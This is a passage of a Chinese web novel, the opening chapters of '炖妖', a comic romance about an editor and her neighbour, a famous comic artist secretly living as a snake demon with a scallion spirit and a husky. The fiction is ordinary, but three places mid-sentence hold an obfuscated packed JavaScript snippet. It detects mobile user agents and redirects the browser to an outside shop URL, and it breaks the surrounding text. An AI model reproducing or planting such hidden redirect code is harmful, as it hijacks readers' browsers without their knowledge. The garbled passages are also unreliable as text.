《炖妖》 1. 01 邻居是大神 《炖妖》 苏稚如/文 2017.7.26 北方室外的冬天,完美诠释了什么叫风刀霜剑严相逼。 至少作为一个吹惯了绵绵的潮湿冷风、室内室外都是零度的江南姑娘,徐安容有些不太适应这样犹如物理攻击般猛烈刺骨的寒冷。 零下八度的气温,她拖着大包小包的行李站在小区门前,单薄的小身板在飒飒寒风中直打哆嗦。两瓣嘴唇冻成了深紫色,上下牙齿亲密地磕碰着,顶着两坨红晕的小脸窝在羽绒服的帽子里,脖子一缩再缩,恨不得从来没长过。 就这么自虐似的站了十来分钟,不远处保安大叔隔着玻璃门抬手看看表,心里嘀咕这都该冻坏了,念头一转,略微犹豫了一下便裹紧军大衣抱着暖水袋推门而出来和她搭讪。 “小姑娘外头冷,进屋里坐坐吧。” 徐安容摇摇头,几乎冻僵的小脸上艰难地挤出一丝拘谨的微笑:“不麻烦您了,我等人呢,马上就来了。” 正说着,一辆橙黄色小电驴由远及近驶了过来,一个包裹得严严实实的人从帽檐和围巾的缝隙间露出一双精明的三白眼,上下打量了徐安容几眼,不知是喉咙沙哑,还是围巾围得太厚实堵住了气,只听那人含糊不清地问道:“徐安容?” “是是,我就是。”徐安容忙不迭点头。 “这是房屋钥匙。”那人从口袋里摸出两把钥匙,举到眼前检查了下房号然后丢给徐安容,又把围巾往上提了提,继续用含糊的声音说道,“水电费这个月到期,接下来要自己交。成了,没别的事了,有问题再联系。” 话音未落,小电驴一加速,立刻风驰电掣地跑起来,一眨眼就没影了。 这是一家极其敬业的房屋中介,以徐安容租房多次的经验来看,也是最有原则的一家,签了合同后说几号交房就几号交房,早一天一个小时都不肯。但哪怕是再敬业的中介,在这么冷的天也熬不住刺骨北风。 徐安容捏着尚有两分热度的钥匙,望着已无人烟的街道,幽幽地吐出了一口气。 保安大叔瞅着他俩的举动眨了眨眼,顿时回过神来,在一旁笑着问道:“刚搬来呐?” “嗯,刚搬来。” “咱这小区虽然离市区远了点,但治安环境都一等一的好,你来啊可算来对了……” 保安大叔自来熟地唠起了嗑,徐安容随口嗯了几声,实在招架不住来自陌生人的热心关怀,客套了几句便左手拉着行李箱,右手挎两个大包裹,背上一个帆布双肩包,满副武装地朝自己的租房走去。 老式居民楼,最高不过七层,可想而知不会有电梯这种奢侈品。徐安容租的房间在顶楼,带一个小阳台,若不是一时鬼迷心窍贪图小便宜,想着能白多几平方地,这会儿也不至于拖着沉重的行李爬楼梯累得要死不活。 果然小便宜不能随便占。 徐安容默默唾弃了几句自己的小民心理,搁下行李在老旧的防盗门前长长喘了口气。 门是原装的铜质材料,大概是很久没人养护的缘故,长了几块锈斑,门楹上贴着两幅摇摇欲坠的对联,已经由鲜红褪成黯淡的灰黄,看起来用手指一捻就能化为灰尘。 的确像中介的人说的那样,这房子很久没有人住了。再看对面那间,门上同样落满了灰。 应该也是空的吧。 她摇了摇头,不再去想与己无关的事,掏出钥匙插/进锁孔里,老化的门锁发出吱嘎一声响,门打开形成的风带起里面细小的尘埃。她捂着嘴咳了两声,挥了挥手,拖着行李走了进去。 刚关上门准备收拾,手机铃响了。 她歪着脑袋夹住手机,动作却不停,手指灵活地开始解塑料袋的扣子,从里面掏出一块新的抹布。 “喂?你好哪位?” 水龙头里流出了浊黄的液体,她耐心地等水变清,开始在水盆里蓄水,有些褶皱的抹布浸了水迅速伸展开。她随手捞起来,一边擦洗桌椅一边分心接着电话。 “是彤彤啊,哦对,今天刚搬家,陆北亭的小区,和你说过的呀。嗯,现在在收拾,怎么了?” “阿容你一定要帮我这个忙啊!”陈雨彤在手机的另一头做祈祷状,想着她看不到,转而用可怜兮兮的语气博取同情,“你和我们杂志社的一个大神在同一个小区,他已经拖稿十三天了!十三天啊!你能想象吗?不是三天是十三天!已经打破了上次七天的记录了!” “企鹅号不回我,微信也不上,打电话发短信更是统统没有回音!你能不能帮我去看看,他是不是死在家里了……” “要我帮忙收尸?” “不,给我鞭尸。”陈雨彤呵呵冷笑两声:“如果他命大没死的话,你就直接替我原地打死。” 徐安容:“……” 喂喂,你这样我会当真的啊。 “你不要这样,也许人家只是突发急事没能及时通知你呢。”同为编辑的徐安容“善意”地安慰道,“也说不定,他只是被车撞了呢?” 前一秒还一副恶人模样的陈雨彤顿时没好气地呸了一声:“呸呸呸,不许胡说,那可是我们杂志社的摇钱树,老娘最粗的一根金大腿!我还等着早日混上主编包养无数小鲜肉从此走向人生巅峰呢,他今天出事,我明天就要失业!” 陈雨彤底下的大神姓楚名柯,据说是个大帅哥,但徐安容向来只闻其名不见其人。这位大神和他的漫画一样出名的就是他的任性程度,拖稿已经是常态了,哪怕她不常看漫画,也知道大神的坑底下无数人被坑得嗷嗷直叫。 不过有句话怎么说,有才任性,看在漫画每年带来的巨额收入上,整个杂志社都纵容着他,直到这一次史无前例地拖了十三天,身为责编的陈雨彤才忍无可忍,甚至不惜拉下脸来找朋友帮忙。 “行行行,知道你对你家大神又爱又恨了。”徐安容附和了几声,知道好友玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820008|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑下的担忧,于是正经道,“你别担心,我把东西收拾一下就去帮你找人。嗯,16幢……703是吧?好的,我知道了,有消息我马上会通知你的。” 听着好友用谄媚的语气在另一头千恩万谢,徐安容颇为无奈地挂断了电话。 陈雨彤和她是初中同学,毕业后就分开了,直到大学快毕业才又重新联系上。巧的是,毕业后两人都选择了编辑这一职业,只不过对方是一毕业就进了杂志社当漫画编辑,而她换了两份职业才最终定了下来。 如果一开始就选择当编辑的话,这会儿也能算是有资历的老人了吧,说不定也能有个把大神,就像彤彤手底下的那位。 徐安容有些感慨地想着,不过再一想好友的那些作者个个都不省心,光是催稿就心力憔悴,顿时又平衡了一些,虽然自家那群小天使不出名,可是温柔贴心颜值高还每天日更呢! ……不,还是好羡慕。 这种甜蜜的负担请放着让她来! “不过,怎么感觉这个住址很耳熟?”徐安容看着备忘录上记下来的坐标,沉默了两秒,默默退出自己的房门,仿佛卡带般一点一点艰难地抬起头,盯着落满了灰的门牌号,思绪陷入了石化。 门牌上只有三个数字:704。 而这栋楼,又好巧不巧的是16幢。 这种情况放在某网站应该是这么问的——和大神成为邻居是怎样一种体验? 徐安容:谢邀,感觉不是很好。 徐安容实在说不出自己现在是什么心情,她知道和楚柯同在一个小区,但是从来没想过竟然是邻居啊!再回头看对门,那门上落满了灰的样子怎么看都不像有人常住,可朋友的信息应该不是假的,不会真的是出事了吧? 她迈开僵硬的两条腿,木着脸走到对面直戳戳的按下门铃——没响。 再按,还是不响。 “咚咚咚。” 徐安容忍着先把门擦一遍的冲动拍起了门,大门上的灰在她的拍动下簌簌抖落,让她忍不住想起立秋时的那场沙尘暴,那天回到家后她一甩自己的长发也顿时和下了沙一样…… 好吧,扯远了。 只说这敲门的动静,按道理正常情况下连植物人都该被吵醒了,徐安容冷眼瞅着迟迟没有动静的大门,思考自己是该先打110还是120。 等她思考到报警该用什么理由时,门后突然传来了踢踢跶跶的拖鞋声。防盗门骤然间打开,里面那人冷淡的视线在她身上转了一圈,还不等她看清长什么模样,就很不客气地“啪”的一声关上了门。 一开一合,快如闪电。 “楚先……” 徐安容咽下说了一半的话,咬着牙吹了吹被开合的气流吹上去四散开的刘海,耐着性子继续执着地拍门,冷静的表情下隐藏着正在蓄力的怒气槽。 “你好,我是陈编辑的朋友,里面是楚先生吗?能麻烦开一下门吗?” 2. 02 他的尾巴 “谁啊?” 随着大门被暴力关上,一道娇俏的少女声音也自电脑桌前响起。 楚柯循声望去,只看见一颗葱在键盘上跳来跳去,时不时凑到摄像头前搔姿弄首,再不然就是拿着耳麦唱上两句,怎么看怎么悠哉,于是本就不太美妙的心情变得更加低沉,整张脸直接黑了一半,烦躁地揉了揉一头散乱的短发,语气不善地回答道:“不知道,不认识。” 说完,他直挺挺往沙发上一倒,转眼化成原型,尾巴尖勾起掉落在地的毯子和热水袋将自己卷了个严实。趴在沙发底下的哈士奇眯开一只眼瞅了瞅他,伸出爪子按住空调遥控器,“嘀嘀”两声,把室温又往上调了调。 苗苗看着他嘁了一声,回过头继续兴高采烈地打字,全身的小叶子触电了似的噼里啪啦地抽在键盘上,一行行文字以极快的速度出现在屏幕上,然后回车,发送。 哒哒哒。 咚咚咚。 楚柯开始还在忍耐,忍到后来眉心直跳,从卷成春卷似的毯子里探出头来:“苗翠花,给我小点声,不然拔你网线。” “嘁,凭啥?我有自由上网的权利!”苗苗腾地扭过头,浑身的小叶子随着她的动作抖了抖,一下跳到地上,变成一个五六岁模样的小萝莉,头顶两瓣葱叶,一手叉腰一手指着他,怒气冲冲道,“还有,死蛇妖,再给你一次机会,为我的名字道歉!” 楚柯懒得理她,翻了个白眼缩回毯子里,可键盘声停了,扰人的声音却还在持续。 “咚咚咚……” 楚柯阴沉着一张脸再次探出头,用杀人般的眼神盯着苗苗。 “苗、翠、花!” 恶狠狠的磨牙声,这回连蛇牙都呲出来了。 苗苗本来还站在地上挺着小胸脯,雄赳赳气昂昂的,被他吃人般的视线看得一激灵,头顶的葱叶都蔫蔫地耸拉下来垂在脸颊两侧。 “大、大蛇哥,不是我不是我!” 楚柯依然目光凶狠地注视着她,苗苗垂头盯着自己的脚尖,绞着两根手指,声音细得跟蚊子哼哼:“真的不是我呀,是门外有人在敲门!她还提到了你的编辑什么的……” 楚柯生气的时候,那就是会移动的人形炸药包,一个不好就要爆炸的那种。别看她平时没大没小惯了,这时候也不敢轻易捋其虎须,别说是喊苗翠花了,就是喊她苗狗蛋,她也没有胆子像刚才那样反驳。 略略略,大妖怪了不起哦。 苗苗偷偷翻了个白眼,然后就看见楚柯的眼神稍稍缓和了一些,盯着她吩咐道:“你去开门,直接赶走。” 苗苗不可置信地指了指自己:“你确定?” 话音未落,她整个人开始慢慢缩水,又从一个萌萌的小萝莉变回了一颗葱。 楚柯上上下下扫了她一眼,沉痛地捂住了额头。也是,让人看见一颗葱会开门会说话是会上新闻联播的,而他还没有做好组团出道的准备。 敲门声的节奏越来越快,大有不敲开不罢休的意味。苗苗伸长了叶子攀住凳子腿,一使劲蹦到椅子上,细细的小胳膊圈过搁在电脑桌上的小花盆,纵身跳了进去。 一边往自己身上埋土一边嘀咕:“等我再大点就能自由控制变化了,才不会出现这样闪退的情况……” 未成年小妖怪就这点不好,像她现在变成人形的时间完全不可控,万一正和人说着话,突然现出了原型,惹出大麻烦,楚柯可能今晚就要把她切了拿去煮菜。比如说什么葱爆鸡丁、葱油面什么的啦…… 苗苗埋土的动作突然一顿,而后小叶子疯狂抖动起来,不敢相信地尖叫:“我才不是葱!我是兰花,会开花的那种啊!” 都是他们一直说她是葱把她给洗脑了! 她回过头狠狠瞪了一眼楚柯,后者已经卷着毯子爬起来了,一脸阴郁,仿佛游魂似的往大门飘,毛毯和尾巴一起在地上拖着,半点没有要收起来的意思。 哈士奇注意到了她的目光,张嘴汪了一声。 ——葱兰不是兰花。 如果是平时,苗苗大概会与他理论上三天三夜,引经据典,论证葱兰到底算不算兰花,然而她此时完全忽略了来自哈士奇的嘲讽,瞠目结舌地看着楚柯已经转动了门把手,结结巴巴地提醒他:“老、老蛇,你、你你、你的尾巴还没收!” 尾巴还没收? 尾巴? 门骤然打开的一瞬间,徐安容感觉自己仿佛听到了一些不得了的东西。甚至她感觉自己在门打开的一瞬间隐约看见门后闪过了一条粗长的蛇尾巴,但等门彻底打开,再细细看去,哪有什么蛇尾巴,只有长长的拖在地上的深灰色厚毛毯。 身形颀长的男人裹着毛毯一手搭在门把上,一手扶着门框,一脸别人欠了他几百万似的表情,低沉而冷淡地问道:“有什么事吗?” 别看这个男人脸色臭得可以,一张脸倒是长得不赖。五官精致得仿佛拿PS精修出来的,看起来久不见光的皮肤白皙至近乎剔透,长眉入鬓,凤目低垂,令大多数女人都自叹弗如的长而翘的睫毛细细密密地在眼底投下一层浅浅的阴影,轻轻扇动间,也柔和了主人原本冷漠的眼神。 徐安容被他的气势压得微微后退了半步,抬起头看向他时却不由得怔愣了一下,先前鼓起的一丁点怒火仿佛被人从头到脚浇了盆冷水,忽闪两下就灭了。 果真是美色惑人,她心想,然后顶着他不善的目光,小心翼翼地开口:“你好,我是对门刚搬来的住户,也是陈雨彤编辑的朋友,请问你是楚柯楚先生吗?” 楚柯的表情十分不耐,看得出光是让他开个门站在门口聊天都耗尽了他的耐心,声音冷得仿佛刮过西伯利亚的寒风,随时都能掉出冰碴子来。 “不是。” 毫无诚意的否认,一看就是在骗人。 楚柯才懒得管她信不信,说完就想关门,千钧一发之际,徐安容用手抵住了门缝,略一使劲,扒开了可容一人侧身穿过的大小。楚柯面无表情地看了她两眼,到底没有把门关上。徐安容心道这要搁在漫画里,他整个人周围应该都弥漫着黑色的愤怒火焰,头顶可能还有一个小火山在冒烟。 于是不敢再耽搁,开门见山地说道:“楚先生,你的编辑陈雨彤是我很要好的朋友,她因为最近都联系不到你已经着急得快疯了,所以拜托我来看看你顺带催一下稿……” 徐安容说到这自己也有些不好意思,轻咳了一声赶紧跳过:“如果你是楚柯先生的话麻烦您等会儿回复一下您编辑的消息,如果你非要否认,那么等一会儿请将这件事转述给楚先生。” 楚柯仍旧面无表情地看着她,大脑正一跳一跳的疼,身体的不适由衷地反馈在了脸上,让他的表情看起来也十分冷硬。 “说完了?” 冷气嗖嗖,徐安容忍不住瑟缩了一下脖子,小声道:“说、说完了。” 他语气殊无波澜,淡淡“哦”了一声,既不见答应也不似拒绝,冷着一张脸伸手就去捞门把手。徐安容也不知道再要说什么,识趣地让出了位置,转身正要走,也没听见身后有大门合上的动静,反而突兀地传来了“嘭”的一声闷响。 她疑惑地扭头望去,只见防盗门虚掩着,显然没有被主人好好关上,并且在她的注视下还慢慢往外隙开了一点,昭然若揭地告诉她——我有问题请快来打开我。 心中有些牵挂刚才的那声闷响,徐安容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820009|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难得做了件不太符合自己往日性格的行为:她轻轻地拉开了大门,探头向里望了一眼。 大门进去就是客厅,第一眼的感觉是整洁,第二眼的感觉是简洁,比对着楚柯那张仿佛性冷淡的脸,徐安容没来由地生出了一种“啊果然是那个人的风格”的感觉。她没有细看,只匆匆扫了一眼,目光就落到了地上——那位高冷的大神先生正侧身倒在地板上,毯子欲遮非遮地从身上滑落下去,露出凌乱睡衣下的一截腰肢。 白得有些不像话。 徐安容多看了两眼才念叨着非礼勿视走了过去。走得近了,楚柯的脸便清晰地映入了眼中。浓眉紧蹙,依然帅气的脸夹杂着几分隐约的痛楚,嗓子里发出低低的喘息,像是在隐忍什么。 徐安容被吓了一跳,慢慢蹲下身,在楚柯身侧不安地轻轻拍了拍他的肩膀。 “楚先生?楚先生?你还好吗?” 她不敢靠得太近,因为有些掐不准这是他突发疾病还是旧疾复发,据说有的人平时看着好好的,突然发病了暴起就要伤人。想着想着又觉得自己之前恶意揣测楚柯出事太过分,这下可好,乌鸦嘴应验了。 “楚先生你能听见我说话吗?我帮你打120行吗?” 大脑仍是一跳一跳的疼,好在那阵突如其来的仿佛要撕裂浑身皮肤的痛楚正慢慢淡去,楚柯强撑着精神睁开眼看了她一眼,发现她掏出了手机二话不说准备拨打120,喉头一紧,咽下了因疼痛而发出的呻/吟。 “我没事,不用叫救护车。” “可你看着好像病得挺严重的。”徐安容蹲在他面前,担忧地盯着他慢慢现出潮红的俊脸,一手抓着手机,一手试探着贴在他汗涔涔的额头上,不出意外被烫了一下。 “你看,都这么烫了,高烧没跑了。” 这女人…… 楚柯盯着她的手,不自在地往后偏了偏头,正好瞥见敞开的大门,不禁后悔自己为什么这么不小心,为什么不能再忍那么几秒,为什么不关好门把这个自来熟的女人放了进来。 她就没想过一个女孩子贸然进入陌生男人的家是很危险的事吗?尤其是这个陌生男人还不是普通人类,一点警惕心也没有。 楚柯的心情有些糟糕,以至于他说话的语气也显得十分恶劣。 “小姐,我真的没事,请你现在离开我家。” 他很担心自己一时控制不住就要变回原形,所以必须把徐安容赶走。 徐安容当然不是个自来熟的人,她也很想丢下楚柯一走了之,但谁让他是陈雨彤手下的摇钱树呢,她实在做不到看着对方发着高烧还扔下他不管。 “这样吧,楚先生,既然你不想打120,那我叫车送你去医院?” 楚柯冷着脸:“不必了。” 你说这人,怎么年纪轻轻就讳疾忌医呢。脾气还这么犟,怪不得彤彤总说工作难做。 想着好友的嘱托,徐安容惆怅地叹了口气,拍着楚柯的肩,用和表姐家才三岁的小胖墩说话的语气,充满安抚性地说道:“楚先生,既然你不想去医院,那我到楼下给你买退烧药,麻烦你等我一会儿,最多十分钟。乖啊。” 想着到底是比小胖墩大几岁,她咽下了那句“回来给你买糖吃”。 说完也不理会楚柯有没有答应,抓着手机就急匆匆往楼下跑去。来时她看到离小区大门不远就有一家小药房,算上来回,跑快点的话,十分钟应该就够了。 她离开得心急,没有注意到在她身后,楚柯侧过头目光复杂地看了她的背影一眼,然后极其无奈地叹息一声,翻滚了两圈,摇身一变,现出了原型。 顷刻间,黑色的蛇身占据了小半个客厅。 3. 03 一条狗 徐安容一走,趴在沙发底下的哈士奇就站了起来,绕着楚柯转悠了几圈。 “楚老大,你真让她去给你买药啊?” 楚柯趴在地上哼哼唧唧,闻言“嗯”了一声,黑色蛇尾哒哒抽在地板上,不经意甩过茶几,直接将一个玻璃杯抽下了桌,摔得四分五裂,破碎声吓得苗苗在盆里打了个哆嗦。 “老蛇,你没事吧?” “没事。” 苗苗撇嘴,都控制不住变回原形了还叫没事啊。 刚才淡去的疼痛感再次浮现,楚柯咬着牙往沙发爬,爬呀爬,平时眨眼就能够得着的沙发足足爬了一分钟才窝了上去,蛇尾盘了一圈又一圈,将自己裹成一团。大黄叼着落下的毛毯紧跟而上,跳到沙发边,从蛇头到尾巴给他严严实实地盖好。 楚柯趴在毛毯下忽然打了个喷嚏,尾巴尖从毯子里伸出来摸到地上的遥控器,卷起来一看,二十九度,顿时不满,狠狠按了两下,又把温度往高了调。 屋子里暖烘烘的,大黄张嘴哈着气,在沙发跟前踱步。 身为自带皮毛一族,尤其身体里还流着来自雪地里的先祖的血脉,他根本不像楚柯这么怕冷,甚至在这样的温度下他隐约觉得有点热。难得的,他有些庆幸小区的供热管道出了问题,否则照楚柯这架势,他是一定会双管齐下的。 他看了眼蔫巴巴的楚柯,忍不住摇头叹气,算了算了,病患最大。 “楚老大。”他伸出爪子点了点沙发,“咱们打个商量,等你感冒好了,咱把温度调低点成吗?” 冰冷的竖瞳直勾勾地盯着他,一眨不眨。 大黄摇摇尾巴,收回爪子,沉默:“行吧。” 身后的大门虚掩,被穿堂而过的冷风吹得吱呀响,他走过去直起身子搭在门把上将门带上,回身就见楚柯还是一眨不眨地盯着他,盯得头皮发麻。要不是全身皮毛油光水滑,这时候估计都跟做了爆炸头似的根根炸起。 盘成一坨的黑蛇在毛毯下微微发抖,说话的语气却还是平淡无波。 “你把门关了,等会儿她进不来。” 大黄歪了歪头,十分不解:“你现在这样能让她看见?而且你也希望她快点走人吧?等她回来发现进不来,自己就会走了。” “这不一样。”楚柯摇头,“你信不信她回来见不着人能直接叫救护车?” 不知道为什么,虽然今天是第一次见到徐安容,但他觉得对方完全是能干出这样的事的人。就好像她自说自话地跑去给他买药,完全不给别人拒绝的余地。 明明看起来是个挺羞涩内向的姑娘。 “那万一让她发现……“大黄没有说下去,但话里的意思楚柯明白。 要徐安容回来见到原本的邻居变成了一条巨大的黑蛇,胆小的没准就和许仙见了白素贞原形后一样,嘎嘣一下见上帝耶稣如来佛祖去了,胆大的回头往外嚷嚷出去,明天这小区就能被各路超自然爱好者围堵得水泄不通。 妖啊! 马克思列宁唯物主义光辉照耀下的妖啊! 搁现代科学社会里,哪个生物学家要不想解剖一下,研究研究妖怪的身体构造,他都不好意思说自己有身为研究人员的好奇心,更对不起自己头上的专家二字。 物以稀为贵,在这人类遍布全世界的时代,出来一个妖怪多稀罕呐。 “行了,我知道了。” 楚柯当然清楚他的担忧,微微闭眼,再次睁开时已经变成了人的模样,歪歪斜斜地靠着沙发。大黄见他这样,也不再说什么,趴在沙发边安安静静地摇着尾巴。 两妖都不说话,屋里安静得只能听见空调嗡嗡作响。苗苗两手托着下巴思考了半晌,也不知小脑袋里拐过了多少个弯,仿佛信号延迟了似的,忽然颇为感慨地说了一句:“妖怪还会生病啊。” 音量不大,清清脆脆的,正好让在场的另外两妖听见。 楚柯抿了抿唇没有接话。一般来说,妖怪确实不会生病,尤其是像他这样的大妖怪,可偏偏今年冬天他遇上了蜕皮期,最近几天又实在太冷,一不小心冻了一下,谁知竟然就感冒了。 重感冒的蛇妖,说出去都要叫其他妖笑话。 楚柯脸色阴郁地瞥了一眼苗苗,后者毫无所觉地抖了抖小叶子,看热闹不嫌事大地趴在花盆边沿往这边瞧,对上他的眼神,还附带一个无辜的笑脸。 话音落下没两分钟,门外噔噔噔响起一串急促的脚步声,紧接着敲门声响起。 大黄慢悠悠过去开了门,穿着及膝长款羽绒服的姑娘立刻从外面闪了进来,一张脸不知是冻的还是跑的,看起来有些发红,微微张嘴呵着白气,手里提了一个塑料袋,上面印有“白云药房”几个字样。 徐安容站在门口抖落满身寒气,对上楚柯的目光不由一愣。 刚刚不是还病得很重?怎么她一走,这人就爬起来坐沙发上去了? 心里嘀嘀咕咕,面上却不显,徐安容冲他客气笑笑,关切地问道:“楚先生,你好些了吗?” 楚柯依然冷着脸,矜持地点点头:“好多了。” ——当然是假的。 实际上该难受的还是难受,只是他不想像刚才那样将自己脆弱的一面暴露在徐安容眼前,那让他觉得很丢脸。妖怪也是要面子的。 苗苗看着他装模作样的姿态,朝天哼了一声:真会装腔,她都看见他脖子往下冒出来几块若隐若现的蛇鳞了,肯定忍得很辛苦吧。 徐安容也知道他是在强撑,于是没做耽搁,直截了当地问道:“有杯子和热水吗?” “厨房有杯子,饮水机插了电源。”楚柯不情愿地回答道,他算是看出来了,这女人不看着他把药喝下去是不会走了。 …… 等把退烧冲剂泡完,又亲眼看着楚柯喝下去,叮嘱了每日服药的剂量和次数,徐安容才放心地准备离去。 “哦对了,楚先生。”临走前她又把之前的话念了一遍,“等身体好点,请联系一下您的编辑,她因为联系不到你,真的非常非常担心。” 楚柯点了下头,算是答应了。 走到门边刚要开门,徐安容感觉自己的羽绒衣下摆被什么东西勾住了,低头一看,大神家养的哈士奇不知什么时候跑过来咬住了她的衣角,一双黑葡萄似的眼睛一眨不眨地盯着她。见她低头,哈士奇尾巴摇了摇,然后慢慢松开嘴,抬起爪子,朝她汪了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820010|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 徐安容看见了被压在爪子下的两张人民币。一张十块一张五十,合起来正好是她买药的钱。 不愧是大神家的狗,连智商都比别人家的高。 徐安容下意识地想道,随后又开始回忆楚柯究竟是什么时候让他家哈奇士去拿钱了。思绪一发散,她又开始想自己现在独居是不是也应该养一条狗,一来可以陪陪自己,二来也防贼。 等考虑到该买哪个品种的狗时,她已经和楚柯还有他家哈奇士道完别,站在了自己屋里。 看着收拾到一半仍旧很凌乱的屋子以及厨房里淅淅沥沥的水声,她忍不住悲伤地一拍脑门。 “糟了。” …… 徐安容一走,楚柯就迫不及待地化成了原形。 长条条的黑蛇卷着热水袋瘫在沙发上,大写的生无可恋。蛇嘴大张着,露出一副很蠢的表情,蛇尾巴则软塌塌地垂在沙发边,安静得不可思议。 苦哈哈的药味在舌尖上横冲直撞,导致某蛇暗戳戳地想那一包“退烧灵”里是不是有人偷偷加了雄黄,要不然怎么能难喝成这样子。 大黄迈着猫步走过来,在离他一米远的位置站定。 “钱给她了。” 楚柯轻轻地甩了下尾巴。 “我看了下,她真的住我们隔壁。” 楚柯的尾巴僵了一下,好半天才又轻轻地甩了甩。 大黄看着他蔫了吧唧的样子,也没有兴趣和他继续说话,叼起掉在地上的手机扭头往书房走。 “我去给你编辑回个短信。” 楚柯不是很情愿地张开嘴,慢吞吞“哦”了一声。 苗苗趴盆里看了半天,小叶子抖了抖,忽然从花盆里跳出来,捧着手机蹦蹦跳跳到楚柯面前,打开摄像头,将那张蠢蠢的蛇脸咔嚓来了个特写。 顶着楚柯仿佛要吃妖似的眼神,苗苗又凑上前不怕死地问道:“老蛇,你说刚刚那姑娘怎么对你那么好诶,又是帮你买药又是帮你冲退烧灵,她会不会是喜欢你?” 楚柯回忆起徐安容先前嘘寒问暖无微不至的态度,虽然她说是受了陈雨彤的请求,但对一个陌生男人而言未免也热心过头了,又想了想自己尚且不错的皮相,觉得是有这个可能,于是顶着一张没什么表情的蛇脸,煞有介事地点了下头。 “老蛇你真自恋,我也就是随便说说而已,人家姑娘怎么可能喜欢你。”苗苗嘁了一声,朝他做了个鬼脸,手速极快地抓拍下他生气的表情,抱着手机又高高兴兴地跳回电脑桌前,留下楚柯盯着她的背影恶狠狠磨牙。 是时候拔掉她的网线了! 尤其当看见苗苗把他的丑照发到网上时,这个念头再一次强烈地回荡在脑海中。 拔!必须拔! 三天不拔她就恨不得上房揭瓦了! 楚柯抱着热水袋翻了个身,神使鬼差地想起徐安容那张白白净净的小脸,想着苗苗吐槽他自恋的话,不由在心底轻哼了一声。 怎么就不可能喜欢他了,开门的时候她盯着他的脸多看了好几眼,没准就喜欢了呢。 就算现在不喜欢,也难保以后不会有意思。人类都是很肤浅的看脸的生物。 4. 04 梦与雄黄 不提楚柯和苗苗怎么想,这一边徐安容花了两个半小时总算将屋里收拾出了一个能住人的样子。 捶了捶弯得酸疼的腰,徐安容坐下来,这才有闲心打开通讯软件一一查看消息。 先前电脑在充电,她又忙着打扫,光听见提示音嘀嘀响个不停了。点开工作的编辑号一看,小天使们果然已经把群水到了99,徐安容本来想像以往那样发一句“挥舞小皮鞭抽打你们去码字”,想了想隔壁住着的大神,敲打键盘的手一顿,发出来的话就带上了一点高冷。 “拒绝摸鱼水群,努力码字成神。” 消息一发出,整个作者群安静了三秒,随后仿佛热油锅中滴入了一滴冷水,瞬间沸腾起来。 “哇今天的容容好高冷!不可思议!” “不可思议1” “不可思议2” “3” “4” “……” 徐安容面无表情地看着自己麾下的软萌作者们纷纷排起了队形,按耐住自己打出呵呵两字的欲望,指挥着鼠标正要点下红叉,又见群里冒出了一条破坏队形的消息。 “没人怀疑萌编今天是受什么刺激了吗?”冒头的是徐安容手下作收最高的作者,笔名饺子很好吃的唐俊杰,“以我写文多年的经验来看,萌编怕不是失恋了?” 别看唐俊杰这名字很爷们,她却是一个地地道道的女大学生,且尤其擅长细腻的都市恋情小说,因此说出这番猜测之后,群里立刻响起了一片应和之声。 徐安容看着再次排起队形热热闹闹的作者群,将剩下的一个呵字打上,毫不犹豫地按下了回车,屏蔽群消息,然后点下关闭,再退出账号。 全部动作一气呵成,不带半点停顿。 接着,她点开自己的生活号,有几条是得知她搬了新家后的寒暄,她随手回了两句,最后才看陈雨彤给她发来的消息。 一看果然是陈雨彤式的发言。 “啊啊啊啊!!!妞啊我果然没找错人!!大神终于回复我了!!!他说这几天生病了懒得回消息马上就会把稿子发我的!!还说要谢谢你帮忙买药呢!!!” “老娘终于不用再提心吊胆怕失业了,阿容从今天起你就是我容姐!!!上刀山下火海但凭你吩咐!” “诶?你人呢?还在打扫吗?” “算了,等你弄完了再找你唠嗑……” 满屏的感叹号仿佛咆哮着要冲出屏幕,刺得眼睛都疼。徐安容无奈地笑笑,敲击键盘回了一句话。 “不用客气,举手之劳。” 那一头很快有了回应:“哟,你好了啊?” 徐安容看了眼还堆着灰的阳台,慢慢敲着键盘回复:“地方不大,收拾起来很快的。” 如果不是这个租房子的中介特别有原则地坚持到合同签订的日期才交付钥匙,她一早就过来收拾了,根本不用在这会儿花功夫。不过幸好之前来看房的时候,她决定要租就和中介说了让他们帮忙打扫一下,现在打扫起来才轻松了不少。 至于阳台……反正她又不睡在阳台,明天再解决好了。 